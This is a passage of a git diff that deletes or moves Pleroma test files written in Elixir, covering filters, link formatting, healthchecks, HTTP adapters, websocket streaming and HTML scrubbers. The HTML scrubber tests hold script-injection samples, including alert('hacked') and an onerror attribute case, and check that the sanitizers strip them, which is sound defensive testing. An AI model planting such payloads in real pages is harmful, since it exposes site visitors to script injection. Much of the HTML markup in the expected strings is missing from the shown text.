- context: ["home"] - } - - {:ok, %Filter{} = filter_one} = Filter.create(query_one) - - query_two = %Filter{ - user_id: user.id, - # No filter_id - phrase: "who", - context: ["home"] - } - - {:ok, %Filter{} = filter_two} = Filter.create(query_two) - assert filter_two.filter_id == filter_one.filter_id + 1 - end - - test "filter_id is unique per user" do - user_one = insert(:user) - user_two = insert(:user) - - query_one = %Filter{ - user_id: user_one.id, - phrase: "knights", - context: ["home"] - } - - {:ok, %Filter{} = filter_one} = Filter.create(query_one) - - query_two = %Filter{ - user_id: user_two.id, - phrase: "who", - context: ["home"] - } - - {:ok, %Filter{} = filter_two} = Filter.create(query_two) - - assert filter_one.filter_id == 1 - assert filter_two.filter_id == 1 - - result_one = Filter.get(filter_one.filter_id, user_one) - assert result_one.phrase == filter_one.phrase - - result_two = Filter.get(filter_two.filter_id, user_two) - assert result_two.phrase == filter_two.phrase - end - end - - test "deleting a filter" do - user = insert(:user) - - query = %Filter{ - user_id: user.id, - filter_id: 0, - phrase: "knights", - context: ["home"] - } - - {:ok, _filter} = Filter.create(query) - {:ok, filter} = Filter.delete(query) - assert is_nil(Repo.get(Filter, filter.filter_id)) - end - - test "getting all filters by an user" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - query_two = %Filter{ - user_id: user.id, - filter_id: 2, - phrase: "who", - context: ["home"] - } - - {:ok, filter_one} = Filter.create(query_one) - {:ok, filter_two} = Filter.create(query_two) - filters = Filter.get_filters(user) - assert filter_one in filters - assert filter_two in filters - end - - test "updating a filter" do - user = insert(:user) - - query_one = %Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - changes = %{ - phrase: "who", - context: ["home", "timeline"] - } - - {:ok, filter_one} = Filter.create(query_one) - {:ok, filter_two} = Filter.update(filter_one, changes) - - assert filter_one != filter_two - assert filter_two.phrase == changes.phrase - assert filter_two.context == changes.context - end -end diff --git a/test/fixtures/modules/runtime_module.ex b/test/fixtures/modules/runtime_module.ex index f11032b57..e348c499e 100644 --- a/test/fixtures/modules/runtime_module.ex +++ b/test/fixtures/modules/runtime_module.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors # SPDX-License-Identifier: AGPL-3.0-only -defmodule RuntimeModule do +defmodule Fixtures.Modules.RuntimeModule do @moduledoc """ This is a dummy module to test custom runtime modules. """ diff --git a/test/following_relationship_test.exs b/test/following_relationship_test.exs deleted file mode 100644 index 17a468abb..000000000 --- a/test/following_relationship_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FollowingRelationshipTest do - use Pleroma.DataCase - - alias Pleroma.FollowingRelationship - alias Pleroma.Web.ActivityPub.InternalFetchActor - alias Pleroma.Web.ActivityPub.Relay - - import Pleroma.Factory - - describe "following/1" do - test "returns following addresses without internal.fetch" do - user = insert(:user) - fetch_actor = InternalFetchActor.get_actor() - FollowingRelationship.follow(fetch_actor, user, :follow_accept) - assert FollowingRelationship.following(fetch_actor) == [user.follower_address] - end - - test "returns following addresses without relay" do - user = insert(:user) - relay_actor = Relay.get_actor() - FollowingRelationship.follow(relay_actor, user, :follow_accept) - assert FollowingRelationship.following(relay_actor) == [user.follower_address] - end - - test "returns following addresses without remote user" do - user = insert(:user) - actor = insert(:user, local: false) - FollowingRelationship.follow(actor, user, :follow_accept) - assert FollowingRelationship.following(actor) == [user.follower_address] - end - - test "returns following addresses with local user" do - user = insert(:user) - actor = insert(:user, local: true) - FollowingRelationship.follow(actor, user, :follow_accept) - - assert FollowingRelationship.following(actor) == [ - actor.follower_address, - user.follower_address - ] - end - end -end diff --git a/test/formatter_test.exs b/test/formatter_test.exs deleted file mode 100644 index f066bd50a..000000000 --- a/test/formatter_test.exs +++ /dev/null @@ -1,312 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FormatterTest do - alias Pleroma.Formatter - alias Pleroma.User - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - clear_config(Pleroma.Formatter) - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe ".add_hashtag_links" do - test "turns hashtags into links" do - text = "I love #cofe and #2hu" - - expected_text = - ~s(I love #cofe and #2hu) - - assert {^expected_text, [], _tags} = Formatter.linkify(text) - end - - test "does not turn html characters to tags" do - text = "#fact_3: pleroma does what mastodon't" - - expected_text = - ~s(#fact_3: pleroma does what mastodon't) - - assert {^expected_text, [], _tags} = Formatter.linkify(text) - end - end - - describe ".add_links" do - test "turning urls into links" do - text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." - - expected = - ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://mastodon.social/@lambadalambda" - - expected = - ~S(https://mastodon.social/@lambadalambda) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://mastodon.social:4000/@lambadalambda" - - expected = - ~S(https://mastodon.social:4000/@lambadalambda) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "@lambadalambda" - expected = "@lambadalambda" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "http://www.cs.vu.nl/~ast/intel/" - - expected = - ~S(http://www.cs.vu.nl/~ast/intel/) - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" - - expected = - "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" - - expected = - "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://www.google.co.jp/search?q=Nasim+Aghdam" - - expected = - "https://www.google.co.jp/search?q=Nasim+Aghdam" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://en.wikipedia.org/wiki/Duff's_device" - - expected = - "https://en.wikipedia.org/wiki/Duff's_device" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "https://pleroma.com https://pleroma.com/sucks" - - expected = - "https://pleroma.com https://pleroma.com/sucks" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = "xmpp:contact@hacktivis.me" - - expected = "xmpp:contact@hacktivis.me" - - assert {^expected, [], []} = Formatter.linkify(text) - - text = - "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" - - expected = "#{text}" - - assert {^expected, [], []} = Formatter.linkify(text) - end - end - - describe "Formatter.linkify" do - test "correctly finds mentions that contain the domain name" do - _user = insert(:user, %{nickname: "lain"}) - _remote_user = insert(:user, %{nickname: "lain@lain.com", local: false}) - - text = "hey @lain@lain.com what's up" - - {_text, mentions, []} = Formatter.linkify(text) - [{username, user}] = mentions - - assert username == "@lain@lain.com" - assert user.nickname == "lain@lain.com" - end - - test "gives a replacement for user links, using local nicknames in user links text" do - text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me" - gsimg = insert(:user, %{nickname: "gsimg"}) - - archaeme = - insert(:user, - nickname: "archa_eme_", - uri: "https://archeme/@archa_eme_" - ) - - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 3 - - expected_text = - ~s(@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme) - - assert expected_text == text - end - - test "gives a replacement for user links when the user is using Osada" do - {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com") - - text = "@mike@osada.macgirvin.com test" - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 1 - - expected_text = - ~s(@mike test) - - assert expected_text == text - end - - test "gives a replacement for single-character local nicknames" do - text = "@o hi" - o = insert(:user, %{nickname: "o"}) - - {text, mentions, []} = Formatter.linkify(text) - - assert length(mentions) == 1 - - expected_text = - ~s(@o hi) - - assert expected_text == text - end - - test "does not give a replacement for single-character local nicknames who don't exist" do - text = "@a hi" - - expected_text = "@a hi" - assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text) - end - - test "given the 'safe_mention' option, it will only mention people in the beginning" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}" - {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) - - assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}] - - assert expected_text == - ~s(@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}) - end - - test "given the 'safe_mention' option, it will still work without any mention" do - text = "A post without any mention" - {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) - - assert mentions == [] - assert expected_text == text - end - - test "given the 'safe_mention' option, it will keep text after newlines" do - user = insert(:user) - text = " @#{user.nickname}\n hey dude\n\nhow are you doing?" - - {expected_text, _, _} = Formatter.linkify(text, safe_mention: true) - - assert expected_text =~ "how are you doing?" - end - - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] - - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) - end - - test "it parses URL containing local mention" do - _user = insert(:user, %{nickname: "lain"}) - - text = "https://example.com/@lain" - - expected = ~S(https://example.com/@lain) - - assert {^expected, [], []} = Formatter.linkify(text) - end - - test "it correctly parses angry face D:< with mention" do - lain = - insert(:user, %{ - nickname: "lain@lain.com", - ap_id: "https://lain.com/users/lain", - id: "9qrWmR0cKniB0YU0TA" - }) - - text = "@lain@lain.com D:<" - - expected_text = - ~S(@lain D:<) - - expected_mentions = [ - {"@lain@lain.com", lain} - ] - - assert {^expected_text, ^expected_mentions, []} = Formatter.linkify(text) - end - end - - describe ".parse_tags" do - test "parses tags in the text" do - text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" - - expected_tags = [ - {"#Test", "test"}, - {"#working", "working"}, - {"#は", "は"}, - {"#漢字", "漢字"} - ] - - assert {_text, [], ^expected_tags} = Formatter.linkify(text) - end - end - - test "it escapes HTML in plain text" do - text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" - expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" - - assert Formatter.html_escape(text, "text/plain") == expected - end -end diff --git a/test/healthcheck_test.exs b/test/healthcheck_test.exs deleted file mode 100644 index e341e6983..000000000 --- a/test/healthcheck_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HealthcheckTest do - use Pleroma.DataCase - alias Pleroma.Healthcheck - - test "system_info/0" do - result = Healthcheck.system_info() |> Map.from_struct() - - assert Map.keys(result) == [ - :active, - :healthy, - :idle, - :job_queue_stats, - :memory_used, - :pool_size - ] - end - - describe "check_health/1" do - test "pool size equals active connections" do - result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 10}) - refute result.healthy - end - - test "chech_health/1" do - result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 9}) - assert result.healthy - end - end -end diff --git a/test/html_test.exs b/test/html_test.exs deleted file mode 100644 index 7d3756884..000000000 --- a/test/html_test.exs +++ /dev/null @@ -1,255 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTMLTest do - alias Pleroma.HTML - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - use Pleroma.DataCase - - import Pleroma.Factory - - @html_sample """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- - """ - - @html_onerror_sample """ - - """ - - @html_span_class_sample """ - hi - """ - - @html_span_microformats_sample """ - @foo - """ - - @html_span_invalid_microformats_sample """ - @foo - """ - - describe "StripTags scrubber" do - test "works as expected" do - expected = """ - this is in bold - this is a paragraph - this is a linebreak - this is a link with allowed "rel" attribute: example.com - this is a link with not allowed "rel" attribute: example.com - this is an image: - alert('hacked') - """ - - assert expected == HTML.strip_tags(@html_sample) - end - - test "does not allow attribute-based XSS" do - expected = "\n" - - assert expected == HTML.strip_tags(@html_onerror_sample) - end - end - - describe "TwitterText scrubber" do - test "normalizes HTML as expected" do - expected = """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- alert('hacked') - """ - - assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does not allow attribute-based XSS" do - expected = """ - - """ - - assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does not allow spans with invalid classes" do - expected = """ - hi - """ - - assert expected == - HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "does allow microformats" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.TwitterText) - end - - test "filters invalid microformats markup" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags( - @html_span_invalid_microformats_sample, - Pleroma.HTML.Scrubber.TwitterText - ) - end - end - - describe "default scrubber" do - test "normalizes HTML as expected" do - expected = """ - this is in bold -

this is a paragraph

- this is a linebreak
- this is a link with allowed "rel" attribute: - this is a link with not allowed "rel" attribute: example.com - this is an image:
- alert('hacked') - """ - - assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does not allow attribute-based XSS" do - expected = """ - - """ - - assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does not allow spans with invalid classes" do - expected = """ - hi - """ - - assert expected == HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.Default) - end - - test "does allow microformats" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.Default) - end - - test "filters invalid microformats markup" do - expected = """ - @foo - """ - - assert expected == - HTML.filter_tags( - @html_span_invalid_microformats_sample, - Pleroma.HTML.Scrubber.Default - ) - end - end - - describe "extract_first_external_url_from_object" do - test "extracts the url" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "I think I just found the best github repo https://github.com/komeiji-satori/Dress" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - assert url == "https://github.com/komeiji-satori/Dress" - end - - test "skips mentions" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "@#{other_user.nickname} install misskey! https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" - - refute url == other_user.ap_id - end - - test "skips hashtags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - end - - test "skips microformats hashtags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140", - content_type: "text/html" - }) - - object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url_from_object(object) - - assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" - end - - test "does not crash when there is an HTML entity in a link" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "\"http://cofe.com/?boomer=ok&foo=bar\""}) - - object = Object.normalize(activity) - - assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) - end - - test "skips attachment links" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "image.png" - }) - - object = Object.normalize(activity) - - assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) - end - end -end diff --git a/test/http/adapter_helper/gun_test.exs b/test/http/adapter_helper/gun_test.exs deleted file mode 100644 index 80589c73d..000000000 --- a/test/http/adapter_helper/gun_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelper.GunTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - - import Mox - - alias Pleroma.Config - alias Pleroma.HTTP.AdapterHelper.Gun - - setup :verify_on_exit! - - describe "options/1" do - setup do: clear_config([:http, :adapter], a: 1, b: 2) - - test "https url with default port" do - uri = URI.parse("https://example.com") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https ipv4 with default port" do - uri = URI.parse("https://127.0.0.1") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https ipv6 with default port" do - uri = URI.parse("https://[2a03:2880:f10c:83:face:b00c:0:25de]") - - opts = Gun.options([receive_conn: false], uri) - assert opts[:certificates_verification] - end - - test "https url with non standart port" do - uri = URI.parse("https://example.com:115") - - opts = Gun.options([receive_conn: false], uri) - - assert opts[:certificates_verification] - end - - test "merges with defaul http adapter config" do - defaults = Gun.options([receive_conn: false], URI.parse("https://example.com")) - assert Keyword.has_key?(defaults, :a) - assert Keyword.has_key?(defaults, :b) - end - - test "parses string proxy host & port" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], "localhost:8123") - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false], uri) - assert opts[:proxy] == {'localhost', 8123} - end - - test "parses tuple proxy scheme host and port" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], {:socks, 'localhost', 1234}) - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false], uri) - assert opts[:proxy] == {:socks, 'localhost', 1234} - end - - test "passed opts have more weight than defaults" do - proxy = Config.get([:http, :proxy_url]) - Config.put([:http, :proxy_url], {:socks5, 'localhost', 1234}) - on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) - uri = URI.parse("https://some-domain.com") - opts = Gun.options([receive_conn: false, proxy: {'example.com', 4321}], uri) - - assert opts[:proxy] == {'example.com', 4321} - end - end -end diff --git a/test/http/adapter_helper/hackney_test.exs b/test/http/adapter_helper/hackney_test.exs deleted file mode 100644 index f2361ff0b..000000000 --- a/test/http/adapter_helper/hackney_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelper.HackneyTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - - alias Pleroma.HTTP.AdapterHelper.Hackney - - setup_all do - uri = URI.parse("http://domain.com") - {:ok, uri: uri} - end - - describe "options/2" do - setup do: clear_config([:http, :adapter], a: 1, b: 2) - - test "add proxy and opts from config", %{uri: uri} do - opts = Hackney.options([proxy: "localhost:8123"], uri) - - assert opts[:a] == 1 - assert opts[:b] == 2 - assert opts[:proxy] == "localhost:8123" - end - - test "respect connection opts and no proxy", %{uri: uri} do - opts = Hackney.options([a: 2, b: 1], uri) - - assert opts[:a] == 2 - assert opts[:b] == 1 - refute Keyword.has_key?(opts, :proxy) - end - end -end diff --git a/test/http/adapter_helper_test.exs b/test/http/adapter_helper_test.exs deleted file mode 100644 index 24d501ad5..000000000 --- a/test/http/adapter_helper_test.exs +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.AdapterHelperTest do - use ExUnit.Case, async: true - - alias Pleroma.HTTP.AdapterHelper - - describe "format_proxy/1" do - test "with nil" do - assert AdapterHelper.format_proxy(nil) == nil - end - - test "with string" do - assert AdapterHelper.format_proxy("127.0.0.1:8123") == {{127, 0, 0, 1}, 8123} - end - - test "localhost with port" do - assert AdapterHelper.format_proxy("localhost:8123") == {'localhost', 8123} - end - - test "tuple" do - assert AdapterHelper.format_proxy({:socks4, :localhost, 9050}) == - {:socks4, 'localhost', 9050} - end - end -end diff --git a/test/http/request_builder_test.exs b/test/http/request_builder_test.exs deleted file mode 100644 index fab909905..000000000 --- a/test/http/request_builder_test.exs +++ /dev/null @@ -1,85 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.RequestBuilderTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - alias Pleroma.HTTP.Request - alias Pleroma.HTTP.RequestBuilder - - describe "headers/2" do - test "don't send pleroma user agent" do - assert RequestBuilder.headers(%Request{}, []) == %Request{headers: []} - end - - test "send pleroma user agent" do - clear_config([:http, :send_user_agent], true) - clear_config([:http, :user_agent], :default) - - assert RequestBuilder.headers(%Request{}, []) == %Request{ - headers: [{"user-agent", Pleroma.Application.user_agent()}] - } - end - - test "send custom user agent" do - clear_config([:http, :send_user_agent], true) - clear_config([:http, :user_agent], "totally-not-pleroma") - - assert RequestBuilder.headers(%Request{}, []) == %Request{ - headers: [{"user-agent", "totally-not-pleroma"}] - } - end - end - - describe "add_param/4" do - test "add file parameter" do - %Request{ - body: %Tesla.Multipart{ - boundary: _, - content_type_params: [], - parts: [ - %Tesla.Multipart.Part{ - body: %File.Stream{ - line_or_bytes: 2048, - modes: [:raw, :read_ahead, :read, :binary], - path: "some-path/filename.png", - raw: true - }, - dispositions: [name: "filename.png", filename: "filename.png"], - headers: [] - } - ] - } - } = RequestBuilder.add_param(%Request{}, :file, "filename.png", "some-path/filename.png") - end - - test "add key to body" do - %{ - body: %Tesla.Multipart{ - boundary: _, - content_type_params: [], - parts: [ - %Tesla.Multipart.Part{ - body: "\"someval\"", - dispositions: [name: "somekey"], - headers: [{"content-type", "application/json"}] - } - ] - } - } = RequestBuilder.add_param(%{}, :body, "somekey", "someval") - end - - test "add form parameter" do - assert RequestBuilder.add_param(%{}, :form, "somename", "someval") == %{ - body: %{"somename" => "someval"} - } - end - - test "add for location" do - assert RequestBuilder.add_param(%{}, :some_location, "somekey", "someval") == %{ - some_location: [{"somekey", "someval"}] - } - end - end -end diff --git a/test/http_test.exs b/test/http_test.exs deleted file mode 100644 index d394bb942..000000000 --- a/test/http_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTPTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - import Tesla.Mock - alias Pleroma.HTTP - - setup do - mock(fn - %{ - method: :get, - url: "http://example.com/hello", - headers: [{"content-type", "application/json"}] - } -> - json(%{"my" => "data"}) - - %{method: :head, url: "http://example.com/hello"} -> - %Tesla.Env{status: 200, body: ""} - - %{method: :get, url: "http://example.com/hello"} -> - %Tesla.Env{status: 200, body: "hello"} - - %{method: :post, url: "http://example.com/world"} -> - %Tesla.Env{status: 200, body: "world"} - end) - - :ok - end - - describe "head/1" do - test "returns successfully result" do - assert HTTP.head("http://example.com/hello") == {:ok, %Tesla.Env{status: 200, body: ""}} - end - end - - describe "get/1" do - test "returns successfully result" do - assert HTTP.get("http://example.com/hello") == { - :ok, - %Tesla.Env{status: 200, body: "hello"} - } - end - end - - describe "get/2 (with headers)" do - test "returns successfully result for json content-type" do - assert HTTP.get("http://example.com/hello", [{"content-type", "application/json"}]) == - { - :ok, - %Tesla.Env{ - status: 200, - body: "{\"my\":\"data\"}", - headers: [{"content-type", "application/json"}] - } - } - end - end - - describe "post/2" do - test "returns successfully result" do - assert HTTP.post("http://example.com/world", "") == { - :ok, - %Tesla.Env{status: 200, body: "world"} - } - end - end -end diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs deleted file mode 100644 index 0f2e6cc2b..000000000 --- a/test/integration/mastodon_websocket_test.exs +++ /dev/null @@ -1,128 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Integration.MastodonWebsocketTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Integration.WebsocketClient - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth - - @moduletag needs_streamer: true, capture_log: true - - @path Pleroma.Web.Endpoint.url() - |> URI.parse() - |> Map.put(:scheme, "ws") - |> Map.put(:path, "/api/v1/streaming") - |> URI.to_string() - - def start_socket(qs \\ nil, headers \\ []) do - path = - case qs do - nil -> @path - qs -> @path <> qs - end - - WebsocketClient.start_link(self(), path, headers) - end - - test "refuses invalid requests" do - capture_log(fn -> - assert {:error, {404, _}} = start_socket() - assert {:error, {404, _}} = start_socket("?stream=ncjdk") - Process.sleep(30) - end) - end - - test "requires authentication and a valid token for protected streams" do - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) - end - - test "allows public streams without authentication" do - assert {:ok, _} = start_socket("?stream=public") - assert {:ok, _} = start_socket("?stream=public:local") - assert {:ok, _} = start_socket("?stream=hashtag&tag=lain") - end - - test "receives well formatted events" do - user = insert(:user) - {:ok, _} = start_socket("?stream=public") - {:ok, activity} = CommonAPI.post(user, %{status: "nice echo chamber"}) - - assert_receive {:text, raw_json}, 1_000 - assert {:ok, json} = Jason.decode(raw_json) - - assert "update" == json["event"] - assert json["payload"] - assert {:ok, json} = Jason.decode(json["payload"]) - - view_json = - Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil) - |> Jason.encode!() - |> Jason.decode!() - - assert json == view_json - end - - describe "with a valid user token" do - setup do - {:ok, app} = - Pleroma.Repo.insert( - OAuth.App.register_changeset(%OAuth.App{}, %{ - client_name: "client", - scopes: ["read"], - redirect_uris: "url" - }) - ) - - user = insert(:user) - - {:ok, auth} = OAuth.Authorization.create_authorization(app, user) - - {:ok, token} = OAuth.Token.exchange_token(app, auth) - - %{user: user, token: token} - end - - test "accepts valid tokens", state do - assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}") - end - - test "accepts the 'user' stream", %{token: token} = _state do - assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") - - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user") - Process.sleep(30) - end) - end - - test "accepts the 'user:notification' stream", %{token: token} = _state do - assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") - - capture_log(fn -> - assert {:error, {401, _}} = start_socket("?stream=user:notification") - Process.sleep(30) - end) - end - - test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do - assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) - - capture_log(fn -> - assert {:error, {401, _}} = - start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) - - Process.sleep(30) - end) - end - end -end diff --git a/test/job_queue_monitor_test.exs b/test/job_queue_monitor_test.exs deleted file mode 100644 index 65c1e9f29..000000000 --- a/test/job_queue_monitor_test.exs +++ /dev/null @@ -1,70 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.JobQueueMonitorTest do - use ExUnit.Case, async: true - - alias Pleroma.JobQueueMonitor - - @success {:process_event, :success, 1337, - %{ - args: %{"op" => "refresh_subscriptions"}, - attempt: 1, - id: 339, - max_attempts: 5, - queue: "federator_outgoing", - worker: "Pleroma.Workers.SubscriberWorker" - }} - - @failure {:process_event, :failure, 22_521_134, - %{ - args: %{"op" => "force_password_reset", "user_id" => "9nJG6n6Nbu7tj9GJX6"}, - attempt: 